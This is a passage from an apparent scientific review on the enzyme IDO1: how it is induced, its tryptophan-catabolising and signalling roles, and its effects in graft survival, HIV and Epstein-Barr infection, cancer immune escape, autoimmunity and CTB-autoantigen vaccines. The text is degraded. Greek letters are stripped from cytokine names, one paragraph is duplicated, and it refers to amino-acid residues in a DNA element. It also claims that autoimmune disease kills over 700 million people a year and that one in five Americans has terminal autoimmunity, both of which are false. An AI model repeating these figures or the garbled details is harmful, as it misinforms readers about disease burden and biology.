IDO1. In humans, MSCs respond to pro-inflammatory cytokine production by synthesis of IDO1, which suppresses this inflammatory response, leading to immunological homeostasis. This immunological tolerization response supports data suggesting that MSCs function as sensors of inflammation by adopting a pro-inflammatory or anti-inflammatory phenotype that modulates innate and adaptive immune responses in vitro and in vivo. The Function of IDO in Cells of the Nervous System In addition to establishment and maintenance of the blood-brain barrier, astrocytes in the central nervous system (CNS) play an important role as regulators of extracellular electrolyte and neurotransmitter balance. Together with microglia, astrocytes play a role as important modulators of CNS immune and inflammatory reactions. The nervous system has its own self-contained, specialized form of immunity. Endothelial cells that make up the blood brain barrier catabolize L-tryptophan due to IDO1 stimulation of the kynurenine pathway. T helper cells that express IFN can induce microglial cells to express IDO, which can initiate a negative feedback loop to suppress neural inflammation. While IFN- signaling is needed to induce IDO in astrocytes, it was established recently that astrocytes express certain members of the toll-like receptor (TLR) family, in particular TLR3, the receptor for double-stranded RNA (dsRNA). Indoleamine 2, 3-dioxygenase was implicated in neurotoxicity and suppression of the antiviral T-cell response in HIV-generated encephalitis (HIVE). Hyeon-Sook Suh and his colleagues showed that the TLR3 ligand poly (I:C) (PIC) induces the expression of IDO in human astrocytes. PIC was found to be less potent than gamma interferon (IFN-), but more potent than IFN- in inducing IDO1. PIC induction of IDO was shown to be mediated in part by IFN-, but not IFN-, and both NF-B and interferon regulatory factor 3 (IRF3) were also shown to be required. These experimental results demonstrate that IDO1 can be induced by double-stranded RNA and suggests a therapeutic function for PIC in human viral infections. Biosynthesis of IDO1 and the kynurenine pathway have been indicated as potential targets for neural degenerative disorders, as tryptophan degradation has been linked to the onset of neurological diseases, including Alzheimer's disease, Huntington disease and even psychological depression. In the brain, IDO1 can be induced in microglia by interferon-gamma-producing T helper 1 (Th1) cells, thereby initiating a negative feedback loop, which can down-modulate neuro-inflammation in experimental autoimmune encephalomyelitis (EAE), the animal model of multiple sclerosis (MS). This protective effect could be counteracted by the production of neurotoxic metabolites of the kynurenine pathway, such as quinolinic acid, which is produced upon IDO induction. Some metabolites of the kynurenine pathway can pass the blood-brain barrier and may act as neurotoxins during systemic infection. Two tryptophan degradation products, quinolinic acid (QUIN) and 3-hydroxyanthranilic acid (3-HAA), exhibit neurotoxic properties. QUIN is an endogen N-methyl-D-aspartate (NMDA) receptor agonist. At micromolar concentrations, the cytotoxic effect of QUIN can be mimicked in primary cortical neuronal cell cultures. The second neurotoxic Trp metabolite is 3-HAA, which is unstable under physiological conditions. Upon spontaneous auto-oxidation, 3-HAA produces reactive radical species, which, in turn, induce oxidative stress and apoptosis in neurons. These data suggest IDO1 may act as a double-edge-sword in the nervous system. Mechanisms of IDO1 Induction and Function Sustained access to nutrients is a fundamental metabolic requirement for prokaryotic and eukaryotic cell maintenance and proliferation. Controlling the supply of available nutrients is an ancient strategy for the regulation of cellular responses to stimuli. Aside from its role as one of the limiting essential amino acids in protein metabolism, tryptophan (TRP) serves as a precursor for the synthesis of the neurotransmitters serotonin and tryptamine, as well as for the synthesis of the anti-pellagra vitamin nicotinic acid and the hormone melatonin. By involvement in a variety of metabolic pathways, TRP and its metabolites regulate neurobehavioral effects that include appetite, the sleeping-waking-rhythm and pain perception. TRP is the only amino acid that binds high levels of serum albumin. Through IDO degradation of tryptophan, cells that express the enzyme mediate potent effects on metabolic events responsible for innate and adaptive immune responses to inflammatory insults. In addition, IDO1 was shown to alter immune responses through a variety of mechanisms dependent on the regulation of cell metabolism. In the sections that follow, we will identify mechanisms by which IDO1 activation was shown to modulate eukaryotic cell functions leading to stimulation or suppression of the diseased state. Signaling Pathways Responsible for the Induction of IDO1 Expression Indoleamine 2, 3-dioxygenase is not constitutively expressed in cell systems. Rather, various stimuli and signaling pathways induce transcription and translation of metabolically-active IDO1 enzyme protein. Various transcription factors were shown to regulate the expression of IDO1. The IDO1 promoter contains nucleotide sequences that allow regulation through interferon sequence response-like elements (ISRE), GAS (palindromic gamma-activated sequences) and non-canonical NF-B (nuclear factor kappa-light-chain-enhancer of activated B-cells) consensus sequences. Mutation or deletion of portions of two ISRE cis-acting (ISRE1 and ISRE2) response elements resulted in decreased IDO1 expression levels. Deletion of ISRE1 decreased the ability of IFN- to induce IDO1 by 50-fold, and point mutations at two alanine residues of ISRE2 at 111 decreased the ability of IFN- to induce IDO1 by four-fold. The distance between these response elements does not influence IDO1 expression, as the deletion of 748 bps between the elements had no effect on IDO1 synthesis. In addition to the ISRE elements, a nucleotide sequence with a partial homology to the IFN-gamma-responsive sequence (GAS) was shown to be located in the promoter region of the IDO1 gene. In murine 3B6A cells, a cell line with a defect in IDO1 activity, Stat 1 was shown to bind to GAS and to restore IDO1 induction. The consensus sequence PuGGAGAPyTTPu is required for non-canonical binding of NF-B. The IDO1 promoter contains three partial RelB/p52 binding sites: AGGAGACACA, GGGAGACAGA and AGGAGAAAGA around position 2000. Manches et al. demonstrated by luciferase assay and ChIP analysis experiments that RelB bound directly to non-canonical NF-B binding sites in the promoter regions of mammalian DNA and drives IDO1 gene expression. There are several receptor/ligand signaling pathways upstream of these transcription factors that can regulate IDO expression. Toll-like receptors (TLRs), tumor necrosis factor superfamily members (TNFRs), interferon beta receptor (IFNBR), the interferon gamma receptor (IFNGR), transforming growth factor beta receptors (TGFBRs) and the aryl hydrocarbon receptor (AhR) all can activate signaling mechanisms that either induce or maintain IDO1 expression. Stimulation of TLR3 and TLR4 was shown to induce IDO1 production in dendritic cells, while TLR7/8 was shown to upregulate IDO1 in monocytes. The mechanism by which TLR4 ligation activates IDO1 expression was shown to contribute to autocrine signaling from TNF- and/or IFN- (Figure 2). For example, LPS induction of IDO1 in a monocyte cell line is decreased when TNF- is blocked with neutralizing antibodies. Ligation of TLR4 activates both MyD88-dependent and MyD88-independent adaptor-driven signaling pathways, which leads to the activation of canonical NF-B and IRF3 transcription factors. Activation of NF-B leads to the expression of the pro-inflammatory cytokine TNF-, while the transcription factor IRF3 operating in conjunction with NF-B induces the pro-inflammatory cytokine IFN-. These cytokines bind their receptors (TNFR and IFNAR) to activate the non-canonical NF-B and JAK-STAT signaling pathways, which leads to the transcription and translation of IDO protein. The ligation of IFNGR by IFN- is another established pathway known to stimulate production of IDO in immune cells. In human monocyte-derived DCs, stimulation with IFN- induces IDO through the JAK/STAT signaling pathway. Of greater interest is the regulation of IDO by TGF-. Unlike the previous signaling mechanisms, TGF- was shown to produce delayed expression of IDO in plasmacytoid dendritic cells (pDCs) that is long lasting and stable. Upon binding to the TGF-beta receptor (TGFBR), both the Smad-dependent and Smad-independent pathways (phosphatidylinositol-3-OH kinase (PIK) are activated and signal the induction of non-canonical NF-B pathway upregulation of IDO biosynthesis. Upon stimulation of IDO1 biosynthesis, TGF- generates a positive feedback loop for sustained production of TGF- and IDO1 through a PI K-dependent mechanism. This signaling mechanism relies on the ability of TGF- to activate the signaling capability of IDO1, which is described in detail in the following sections. IDO1 signaling mediated by TGF- promotes transcription and translation of more TGF-, which, in turn, continues to upregulate IDO1 production ( Figure 3). Figure 2. Mechanism of IDO1 induction in dendritic cells: transcription and translation. Several molecular stimuli and signaling pathways were shown to induce the transcription and translation of metabolically-active IDO1 enzyme. The IDO1 promoter contains nucleotide sequences that allow regulation of transcription through interferon sequence response-like element (ISRE) upstream consensus sequences, GAS (palindromic gamma-activated sequences) and non-canonical nuclear factor kappa-light-chain-enhancer of activated B-cells (NF-B). In addition, the IDO1 promoter region contains three partial non-canonical RelB/p52 binding sites: AGGAGACACA, GGGAGACAGA and AGGAGAAAGA located near position 2000, which is located downstream of NF-B-driven IDO upregulation following stimulation of the TLR4, INFGR, IFNAR, TNFR and CD40R signaling pathways. In addition to TGF-, the aryl hydrocarbon receptor (AhR) was also shown to play a role in IDO production. In mouse bone marrow-derived DCs, Nguyen et al. demonstrated that AhR / DCs do not produce IDO following LPS or CpG treatment. This result suggests that AhR may be necessary for TLR4 and TLR9 induction of IDO in DCs. Secondly, kynurenines produced in response to IDO's enzymatic activity can bind and activate AhR as an endogenous ligand. (Figure 3). Vogel et al. demonstrated that AhR can partner with RelB to associate with DNA by binding the IDO1 promoter at putative dendritic cell responses element (DRE) consensus sequences and, thus, promote AhR-dependent induction of IDO1.. In splenocytes, SHP-1 inhibits the protein kinase IRAK1 and tips the balance of activation of the canonical versus non-canonical NF-B signaling pathway in favor of the latter, resulting in upregulated production of type I interferon. In addition to TGF-, the aryl hydrocarbon receptor (AhR) has also been shown to play a role in IDO production. Interestingly, kynurenines produced from IDO's enzymatic activity can also bind and activate as an endogenous ligand, AhR. Abbreviations: IFN (,,): interferon alpha, beta, gamma; TGF-: transforming growth factor-beta; TNF: tumor necrosis factor; TLR4: toll-like receptor 4; TRAF: TNF-receptor associated factors; TRIF: TIR-domain-containing adapter-inducing interferon-; SHP: orphan nuclear receptor small heterodimer partner; SMAD: extracellular signal transducers from TGF- ligands to the nucleus; IRF : and interferon regulatory factor 1,3. Although there are various mechanisms known to promote IDO induction, the function of IDO remains consistent, to promote overall immune suppression, as well as control of some infectious pathogens. In response to inflammatory stimuli, IDO functions as an immune regulator to keep pro-inflammatory signaling in check. Conversely, IDO is important, but not essential for the maintenance of immune tolerance, as IDO / mice do not die from autoimmunity. The mechanisms by which IDO exerts its immunosuppressive effects are discussed in the following sections. Enzymatic Activity of IDO1 Indoleamine 2, 3-dioxygenase was shown to inhibit DC maturation through tryptophan starvation via a generalized reduction in cellular energetics and through the generation of secreted kynurenines known to effectively stimulate pro-inflammatory T-cell apoptosis. Additional experimental findings showed in addition to tryptophan depletion, paracrine effects of secreted kynurenine tryptophan degradation products may contribute to DC tolerogenesis through increased recruitment of regulatory T-cells. The immunosuppressive activity of IDO was first speculated to be solely a function of the physical depletion of tryptophan from the intracellular environment, thus starving the metabolism of DCs, T-cells and other effector cells of the immune system. Tryptophan depletion is sensed in eukaryotic cells through activation of the general control non-repressed 2 (GCN2) kinase, which directly binds uncharged tRNAs. Tryptophan depletion was shown to induce the GCN2 pathway, to downregulate the CD3 -chain in CD8 + T-cells and to inhibit Th17 cell differentiation. Additionally, in a recent study conducted by Chaudhary and colleague, antibody-mediated inflammatory kidney injury and renal disease in a mouse nephrotoxic serum nephritis model was inhibited by amino acid metabolism and a protective autophagic response. The metabolic signal was driven by IFN--mediated induction of indoleamine 2, 3-dioxygenase 1 (IDO1) enzyme activity with subsequent activation of a stress response dependent on GCN2. These findings outline the IDO-GCN2 pathway in glomerular stromal cells as a critical negative feedback mechanism that limits inflammatory renal pathologic changes by inducing autophagy. Recent work provided definitive evidence of an important role for kynurenine metabolites in IDO-mediated modulation of immune function. Further, these studies also demonstrated IDO-dependent apoptosis of thymocytes and terminally-differentiated antigen-specific CD4 + T-cells. Previous work showed that transgenic DCs with high levels of IDO expression and tryptophan metabolites (i.e., l-kynurenine, 3-hydroxykynurenine and 3-hydroxyanthranilic acid) were able to irreversibly suppress allogeneic T-cell proliferation in vitro (Figure 1). In these studies, immuno-suppressive tryptophan catabolites were shown to exert a cytotoxic action on CD3 + cells. This action preferentially affected activated T-cells and gradually increased with exposure time. In addition to T-cells, B-cells and natural killer (NK) cells were also killed while DCs remained unaffected. Similar results were obtained in another study where three tryptophan catabolites (i.e., l-kynurenine, picolinic acid and quinolinic acid) were shown to be responsible for IDO-induced inhibition of T-and NK-cell proliferation potentiated by tryptophan depletion. Indoleamine 2, 3-Dioxygenase 1 Signaling Activity The immunosuppressive effect of IDO was recently shown in non-obese diabetic (NOD) mice to require both enzymatic and signaling functions. Treatment of mouse plasmacytoid DCs with transforming growth factor- (TGF-) conferred regulatory effects on IDO1 that were shown to be mechanistically separable from its enzymatic activity. The TGF--IDO axis was found to mediate durable regulatory functions, resulting in the generation and maintenance of regulatory T-cell populations. In these studies conducted by Pallotta et al., IDO signaling activity was triggered in plasmacytoid dendritic cells (pDCs) by transforming growth factor- (TGF-) through the non-canonical NF-B pathway, resulting in the induction of long-lasting IDO expression and autocrine TGF- production in a positive feedback loop. In addition, IDO was found to be involved in intracellular signaling events responsible for self-amplification and maintenance of a stable regulatory pDC phenotype (Figure 2). Additionally, CpG oligodeoxynucleotides (CpG-ODNs) known to stimulate innate and adaptive immunity by binding to TLR9 molecules, induced selective IDO1 expression by a minor population of splenic CD19 + dendritic cells (DCs) that did not express the plasmacytoid DC marker 120G8. Following CpG-ODN treatment, CD19 + DCs acquired potent IDO-dependent T-cell suppressive functions. Signaling through IFN type I receptors was essential for IDO upregulation, and CpG-ODNs induced selective activation of STAT-1 in CD19 + DCs. In the same line, a discrete population of splenocytes with attributes of dendritic cells (DCs) and co-expressing the B-cell marker CD19 is uniquely competent to express the T-cell regulatory enzyme indoleamine 2, 3-dioxygenase (IDO) in mice treated with TLR9 ligands (CpGs). Johnson and colleagues have shown that IDO-competent cells express the B lineage commitment factor Pax5 and surface immunoglobulins and that CD19 ablation abrogated IDO-dependent T-cell suppression by DCs. This study has shown that IDO-competent cells constitute a distinctive B-lymphoid cell type with quintessential T-cell regulatory attributes and phenotypic features of both B-cells and DCs. The aryl hydrocarbon receptor (AhR) was shown to cause immune suppression after binding dioxin. The aryl hydrocarbon receptor may be central to naive T-cell differentiation into Foxp3 + regulatory T-cells (Tregs) rather than pro-inflammatory Th17 lymphocytes. In this study performed by Mezrich and his colleagues, kynurenines were shown to activate AhR, leading to AhR-dependent Treg generation. Together, the above studies reinforce the involvement of IDO in the generation of Tregs, as well as highlighting the central importance of IDO's signaling capabilities. The Function of IDO in Organ and Tissue Graft Survival Acute and chronic graft rejection during solid organ and tissue transplantation is a demanding challenge for surgeons and patients. Current treatments employ a general immunosuppressive regimen, which leaves the patient vulnerable to common pathogens, and immuno-suppressive therapy usually must be administered lifelong with potentially severe side effects. In vivo experiments have shown that IDO1 gene knockout mice experience acute rejection of transplanted MHC mismatched grafts, while wild-type mice with high tryptophan catabolism experienced long-term graft survival. Further experiments have shown that the dendritic cell costimulatory factor CD83 (sCD83) induced long-term IDO expression in DCs via upregulation of TGF- both in vitro and in vivo, resulting in the induction of a long-lasting allograft tolerance in combination with a locally-restricted immunosuppressive environment. Another study showed that IDO-mediated tryptophan degradation in renal allograft recipients is increased both before and during allograft rejection. This result suggests that promotion of IDO1 biosynthesis and activity might have significant implications for immune suppression of tissue rejection in transplantation biology that extend far beyond the application of IDO as a possible diagnostic tool for the detection of acute allograft rejection. Additionally, inhibition of CD8 + T-cell-mediated cytotoxic function was found to be an important mechanism behind IDO's immune-modulating property. In a study conducted by Liu et al., in an experimental rat lung allograft, enhanced IDO activity was achieved by using a lung-tissue-targeted non-viral human IDO1 gene transfer approach, which reduced, but did not eliminate, infiltrating CD8 + T-cells. The impaired cytotoxic function seen in the IDO-treated CD8 + T-cells was accompanied by defects in the production of granule cytotoxic proteins, including perforin and granzyme A and B. The Function of Indoleamine 2, 3-Dioxygenase in Viral Infection Though the role of IDO in many viral infection models is presently unclear, some viruses can create an advantage for their replication by stimulating the enzyme's catabolic activity to suppress unwanted immune responses in mammalian cells. Specifically, human immune deficiency virus (HIV) and Epstein-Barr virus are two well-known virus examples that increase cellular levels of IDO during infection. It has been suggested that HIV may induce IDO expression to inactivate the human immune system. HIV is a lentivirus (retrovirus subgroup) that infects CD4 + T-cells, macrophages and dendritic cells. Facilitating the spread of HIV infection, the virus evades the direct killing mechanisms of CD8 + cytotoxic lymphocytes that recognize HIV-infected cells by inducing IDO synthesis. Earlier studies show that HIV stimulates IDO biosynthesis to block the function of pro-inflammatory CD4 + T helper cells and to stimulate immunosuppressive Treg cell responses. A recent report showed that IDO1 was overexpressed in lymphoid tissues during HIV infection. Further, increased tryptophan catabolism, measured as an increase in the kynurenine/Trp ratio, was shown to occur in HIV-infected patients. Together, these data suggest that HIV depends on the immunosuppressive properties of IDO to facilitate the immune evasion processes. The Epstein-Barr virus (EBV), also referred to as human herpesvirus 4 (HHV-4), is one of eight virus strains in the herpes virus family and is one of the most common human pathogenic viruses. The herpesvirus 4 strain is best known as the cause of infectious mononucleosis (glandular fever). This virus strain was also shown to be associated with specific forms of cancer, including Hodgkin's lymphoma, Burkitt's lymphoma, nasopharyngeal carcinoma and HIV-associated conditions, including hairy leukoplakia and central nervous system lymphomas. The EB virus is known to infect monocytes/macrophages, intraepithelial macrophages and Langerhans dendritic cells. Infection of monocytes with EBV was shown to suppress their phagocytic and antiviral activity. More recently, EBV infection was shown to induce IDO mRNA, protein and enzymatic activity in human monocyte-derived macrophages (MDMs). This important finding suggests that EBV-mediated IDO expression in nasopharyngeal carcinoma tumor stroma may provide an immune-suppressed T-cell microenvironment that facilitates virus infection. The Role of Indoleamine 2, 3-Dioxygenase in the Promotion of Cancer Cell Survival While escape from the immune response is essential for cancer progression, mechanisms underlying this process remain unclear. The catabolism of tryptophan in tumor cells mediated by IDO1 has been increasingly identified as a critical micro-environmental factor involved in aiding immune escape through suppression of anti-tumor immunity. Stimulation of the tryptophan catabolic pathway was shown to create an immuno-suppressive milieu in tumors and in tumor-draining lymph nodes through accumulation and secretion of immunosuppressive tryptophan catabolites that lead to induction of T-cell anergy, apoptosis and increased proliferation of immunosuppressive regulatory T-cells (Tregs). Thus, IDO is capable of biasing the immune system towards tumor support by decreasing the level of pathogenic inflammation in the tissue microenvironment surrounding the tumor. Clinically, studies of ovarian, endometrial and colorectal cancer have shown that increased expression of IDO1 was associated with poor survival outcomes. Based on the enzyme's immunosuppressive functions, IDO1 is becoming established as a target for drug discovery in cancer immunotherapy. Human primary gastric, colon and renal cell carcinomas were shown to constitutively express both IDO1 and IDO2 mRNA, whereas cancer cell lines generally required induction of IDO by interferon-gamma (IFN). In this study, treatment of HeLa cells with IDO1 siRNA resulted in the prevention of tryptophan degradation. Exogenous administration of the IDO1 pathway catabolites kynurenine and quinolinic acid led to activation of -catenin and proliferation of human colon cancer cells, resulting in increased tumor growth in mice. In a similar study, high IDO expression levels in tumor cells were positively correlated with myometrial invasion, nodal metastasis and lymph-vascular space involvement. Further, a significant correlation was detected between high levels of IDO1 expression and reduced numbers of CD3 +, CD8 + and CD57 + cells infiltrating both the tumor epithelium and stroma. Glioblastoma multiforme (GBM) is an aggressive adult brain tumor with a poor prognosis. One hallmark of GBM is the gradual accumulation of immunosuppressive and tumor-promoting CD4 + FoxP3+ regulatory T-cells (Tregs). Wainwright and colleagues investigated the role of IDO1 in brain tumors and its impact on Treg recruitment and found that IDO1 expression increased recruitment of immunosuppressive Tregs that lead to tumor outgrowth. In contrast, IDO1 deficiency was shown to decrease Treg recruitment and to enhance T-cell-mediated tumor rejection. These data suggest a critical role for IDO1-mediated immunosuppression in glioma and support the continued investigation of IDO-Treg interactions in the context of the suppression of brain tumor outgrowth. Alternatively, in a study performed by Li et al. uncovering a link between IDO and the complement, pharmacologic inhibition of IDO synergized with chemo-radiation therapy to prolong survival in mice bearing intracranial glioblastoma tumors. They showed that pharmacologic or genetic inhibition of IDO allowed chemo-radiation to trigger widespread complement deposition at sites of tumor growth. Chemotherapy treatment alone resulted in collections of perivascular leukocytes within tumors, but no complement deposition. Adding IDO blockade led to upregulation of VCAM-1 on vascular endothelium within the tumor microenvironment, and further, adding radiation in the presence of IDO blockade led to widespread deposition of the complement. Mice genetically deficient in complement component C3 lost all of the synergistic effects of IDO blockade on chemo-radiation-induced survival. Indoleamine 2, 3-dioxygenase is overexpressed in many different tumor types, including breast cancer. Chen and colleagues have reported the expression of IDO1, estrogen receptor (ER), progesterone receptor (PR), human epithelial receptor 2, cytokeratin 5/6, epithelial growth factor receptor, phosphorylated AKT, neoangiogenesis, nitrogen oxide synthetase 2 (NOS2), cyclooxygenase 2 (COX2), FoxP3, CD8 + and CD11b molecules on archival breast cancer tissue. The experimental results showed that IDO1 expression was higher in ER+ tumors compared to ER tumors. Further, tumor survival was found to be better in ER+ patients. A connection between elevated urinary tryptophan catabolites and bladder cancer was first reported in the 1950s. Since then, elevated levels of IDO-generated catabolites have been found to be associated with a number of malignancies. This phenomenon was initially thought to be a consequence of IFN- treatment, known to stimulate IDO expression in tumor cells. For some time, the significance of IDO promotion of cancer survival was questioned by its observed function in the prevention of allogenic rejection and by the evidence that IDO is overexpressed in most tumors and tumor draining lymph nodes. A major question is how does IDO become deregulated in cancer cells? A possible answer is emerging from studies of Bin1, a tumor suppressor gene that is often inactivated during cancer, which seems to inhibit cancer development to a significant extent by limiting immune escape. Studies aimed at understanding how Bin1 restricts tumor outgrowth identified the establishment of immune tolerance through deregulation of IDO1 as a likely explanation. Deletion of the Bin1 gene from mammalian cells resulted in an increased IDO1 gene expression stimulated by IFN-. In this study, in vitro transformation of Bin1-null and Bin1-expressing primary mouse embryo keratinocytes with c-myc and mutant Ras oncogenes produced cell lines with similar in vitro growth properties. However, when these cells were grafted into syngeneic animals, the Bin1-null cells formed large tumors, whereas the Bin1-expressing cells formed only indolent nodules. Together, these findings suggest that the overexpression of IDO1, which accompanies Bin1 loss, promotes tumorigenicity by enabling immune escape. The attenuation of Bin1 together with IDO overexpression observed in human cancers warrants further evaluation of the relationship between these two metabolic events. Together, the data suggest that tumors exploit the induction of IDO1 as a dependable mechanism for survival through enhanced suppression of immunity. Recent studies using ex vivo antigen-loaded DCs loaded with tumor antigens were shown to improve the immune response to the cancer. The goal of recent DC-derived tumor vaccines are to elicit the CD8 + T-cell response. However, in order to reach this goal, the DC-elicited adaptive immune response must be able to overcome the immunomodulatory effects of the tumor. The Role of Indoleamine 2, 3-Dioxygenase in Tissue-Specific Autoimmunity Organ and tissue-specific autoimmunity requires the initial release of specific autoantigens characteristic of a given tissue or organ that can be recognized by DC pattern recognition receptors (PRR). The prototypic tissue-specific autoimmune diseases that are presented here include type 1 diabetes (T1D) and multiple sclerosis (MS). Type 1 diabetes is an autoimmune disorder in which auto-reactive T-cells selectively destroy the pancreatic islet insulin-producing beta cells. The genetically diabetes-prone NOD mouse strain is a murine model of human type 1 diabetes. Diabetic NOD mice generally die from the effects of hyperglycemia, reflecting T-cell-mediated destruction of the insulin-producing pancreatic islet cells. The predisposition of NOD mouse development of autoimmunity may involve defects in the mechanisms of both peripheral and central tolerance. Defective in IDO1 expression, NOD mouse pDCs fail to upregulate IDO1 in response to stimuli, such as the pro-inflammatory cytokine IFN, one of the most potent inducers of IDO expression and catalytic function. Studies conducted by Pallotta et al. showed that forced IDO1 expression in dendritic cells rescues both IDO enzymatic and signaling activities, providing substantial proof that global IDO defects predispose NOD mice to autoimmunity. In contrast, multiple sclerosis (MS) is a chronic inflammatory disease of the central nervous system (CNS) associated with an immune reaction against components of the myelin sheath, predominantly myelin basic protein. Experimental autoimmune encephalomyelitis (EAE), the animal equivalent of MS, is a prominent animal model that researchers studying MS use to assess disease progression. Based on their immunosuppressive properties, human mesenchymal stem cells (hMSC) provide a promising tool for cell-based therapies of autoimmune diseases, including MS. Murine MSCs (mMSC) were used to characterize and optimize the route of administration, motility, cellular targets and immunosuppressive mechanisms in mouse models of autoimmune diseases, such as experimental autoimmune encephalomyelitis (EAE). Tryptophan catabolism by IDO1 is a major endogenous metabolic pathway that tightly regulates immune responses throughout the nervous system. The activity of IDO1 contributes to the immunosuppressive phenotype of hMSC. In a study conducted by Lanz and his colleagues, the authors showed that although IDO1 is inducible in bone marrow-derived mMSC by pro-inflammatory stimuli, such as interferon- (IFN-) and ligands of toll-like receptors (TLR), disease induction does not lead to catabolism of tryptophan in vitro. Thus, IDO1 does not appear to be involved in mMSC-mediated immunosuppression in EAE. While mMSC suppressed the activation of the antigen-specific myelin oligodendrocyte glycoprotein (MOG)-reactive T-cell receptor (TCR) in transgenic Th cells in MSC-T-cell co-cultures, neither pharmacologic inhibition nor genetic ablation of IDO1 reversed this suppressive effect. However, in this study, systemic administration of both IDO1-proficient and phenotypically identical IDO1-deficient mMSC equally resulted in amelioration of EAE. Thus, mMSCs, unlike hMSCs, do not display IDO1-mediated suppression of antigen-specific T-cell responses. During experimental autoimmune encephalomyelitis (EAE), IDO1 induction was shown to downregulate neuro-inflammation. Inhibition of IDO activity by daily subcutaneous administration of the specific IDO inhibitor 1-methyl-DL-tryptophan was shown to significantly exacerbate EAE. Further, cytosolic DNA sensing activates the stimulator of IFN genes (STING) adaptor to induce IFN type I (IFN-) production. Constitutive DNA sensing to induce sustained STING activation incites tolerance breakdown, leading to autoimmunity. In a study conducted by Lemos and colleagues, it was shown that systemic treatments with DNA nanoparticles (DNPs) induced potent immune regulatory responses via STING signaling that suppressed EAE when administered to mice after immunization with myelin oligodendrocyte glycoprotein (MOG), at EAE onset or at peak disease severity. DNP treatments attenuated infiltration of effector T-cells into the CNS and suppressed innate and adaptive immune responses to myelin oligodendrocyte glycoprotein immunization in spleen. Therapeutic responses to DNPs were shown to be critically dependent on IDO enzyme activity in hematopoietic cells. These findings reveal dichotomous roles for the STING/IFN- pathway in either stimulating or suppressing autoimmunity and identify STING-activating reagents as a novel class of immune modulatory drugs. Thus, local expression of IDO during inflammation may be a mechanism for self-protection that limits antigen-specific immune responses in the CNS. Immune Suppressive Vaccines: The Case for CTB-Autoantigens and Their Relationship to IDO1 By the avoidance of environmental factors thought to promote autoimmune diseases in genetically at-risk individuals, autoimmune diseases, such as type 1 diabetes, might be eradicated. However, these environmental factors have not as yet been clearly identified and may be ubiquitous. Since the early 1980s, prevention, following disease initiation, has been the focus of attention with many candidate therapeutic agents, mainly immunosuppressive drugs. Prevention is, however, more applicable to early preclinical disease than to recent onset clinical disease, in which pancreatic islet beta cell destruction is more advanced. Until the present, prevention of infectious disease by exposing the immune system to a weakened, non-toxic or dead infectious agent has been the traditional method of vaccination. Prominent among immunological enhancement or adjuvant strategies are the bacterial and plant AB subunit toxins, which include shiga toxin, anthrax toxin, ricin toxin, the heat sensitive enterotoxin from E. coli and the cholera toxin CTA and CTB subunits. In contrast to the toxic CTA subunit, the nontoxic CTB subunit displays both carrier and mild immune-stimulatory properties. When linked to pathogen antigens, CTB was shown to impart immune-stimulatory properties that convey increased levels of immune stimulation in response to the linked antigen. However, when CTB is linked to "self" proteins, the result is often enhanced immunological suppression of autoimmunity. Demonstrating the adjuvant capability of the cholera toxin B subunit, the linkage of CTB to an autoantigen (ovalbumin) was shown to provide up to a 10,000-fold reduction in the amount of autoantigen required for generating immune tolerance. In type 1 diabetes, self-proteins, like insulin, become more strongly immunosuppressive when linked to CTB. Oral administration of the CTB subunit coupled with insulin or the GAD35 autoantigen was shown to induce immunological tolerance and suppression of type 1 diabetes in NOD mice. Additional forms of tissue-specific autoimmunity were capable of being suppressed by CTB-linked autoantigens. Behcet's disease (BD) is an inflammatory tissue-specific autoimmune disorder characterized by uveitis, oral and genital ulcers, as well as cutaneous, vascular, joint and neurological inflammation. Fusion of an uveitogenic HSP60-derived peptide (aa 336-351) with CTB resulted in significant protection against mucosally-induced uveitis and other Behcet's disease symptoms. Multiple sclerosis (MS) is an inflammatory disease of the central nervous system (CNS) characterized by localized myelin destruction and axonal degeneration. An autoimmune reaction against myelin antigens of the CNS was shown to contribute to the immunopathological mechanisms of MS. Myelin oligodendrocyte glycoprotein (MOG) is a key CNS-specific autoantigen for primary demyelination in multiple sclerosis. Fusion of CTB with myelin oligodendrocyte glycoprotein (MOG) was shown to provide protection against the development of MS symptoms. Type 1 diabetes (T1D) is a well-studied prototypic tissue-specific autoimmune disease resulting from auto-reactive lymphocyte destruction of the pancreatic islet insulin-producing -cells [34,. Progressive loss of islet -cell function leads to insulin deficiency and high blood glucose levels (hyperglycemia). Increased cellular oxidative stress and chronic inflammation generated by hyperglycemia can result in neural and circulatory complications that lead to amputation, loss of kidney function, blindness, heart attack and stroke, resulting in early mortality. Linkage of CTB to insulin (CTB-INS) provided a protective effect against the onset of type 1 diabetes in NOD mice. Initial oral immunization experiments showed that feeding small amounts (2-20 g) of CTB-INS could effectively suppress -cell destruction and clinical diabetes in pre-diabetic NOD mice. Initial recognition of the mechanism underlying vaccine-mediated immune suppression was based on CTB-INS induction of CD4 + regulatory T-cells (Tregs) in NOD mice. Demonstrating the broad range of applications of this vaccine strategy for the suppression of autoimmunity, conjugation of CTB with islet auto-antigens, including insulin and glutamic acid decarboxylase (GAD), was shown to induce immunological tolerance through the suppression of human DC maturation. Immunosuppressive Vaccine Induction of Indoleamine 2, 3-Dioxygenase Autoimmune diseases result from misdirected immune attack on one's organs and tissues and together are responsible for the death of more than 700 million people worldwide annually, generating a public health crisis comparable to heart disease and cancer. Approximately 20% (one in five) Americans suffer from terminal autoimmunity because no cure is available. About 80% of patients are women with a 2-5-times greater risk of autoimmune disease onset among African, Hispanic and Native American women than those of European descent [119,137,. Most autoimmune diseases are tissue specific and are initiated by specific self-antigens, suggesting a common underlying cause. Dendritic cells (DCs) recognize and process self-antigens and are the first immune cells to surround pancreatic islets, indicating a prominent role in type 1 diabetes development [15,58,59,. Disease onset begins when insulin-presenting DCs bind T-cell receptors of cognate naive T helper cells and guide their differentiation into pro-inflammatory T helper and cytotoxic T-cells that attack the insulin producing islet -cells [13,. Among the most promising therapeutics, immuno-suppressive vaccines were shown to arrest autoimmunity in animals. However, vaccine efficacy in patients remains untested, because their mode of action is unknown. Due to the variability of patient responses to individual vaccines, combinatorial vaccines may provide the most effective form of treatment. Multicomponent vaccines composed of the cholera toxin B subunit (CTB) linked to self-antigens were shown to prevent uveitis, multiple sclerosis and type 1 diabetes in animal models of autoimmunity. Recent experiments showed that a CTB-insulin vaccine that induced tolerance to diabetes autoantigens in humans is linked to inhibition of DC maturation. While the mechanism responsible for vaccine-induced tolerance remains unknown, analysis of the vaccinated DC proteome revealed dramatic upregulation of the tryptophan catabolic enzyme indoleamine 2, 3-dioxygenase (IDO1). Emphasizing the enzyme's role in autoimmunity, increased IDO degradation of tryptophan accompanied DC suppression of arthritis, asthma, hemolytic anemia, multiple sclerosis, systemic lupus erythematosus and type 1 diabetes. Vaccine-induced IDO1 biosynthesis and enzyme activity in human DCs suggest that kynurenines may be important for 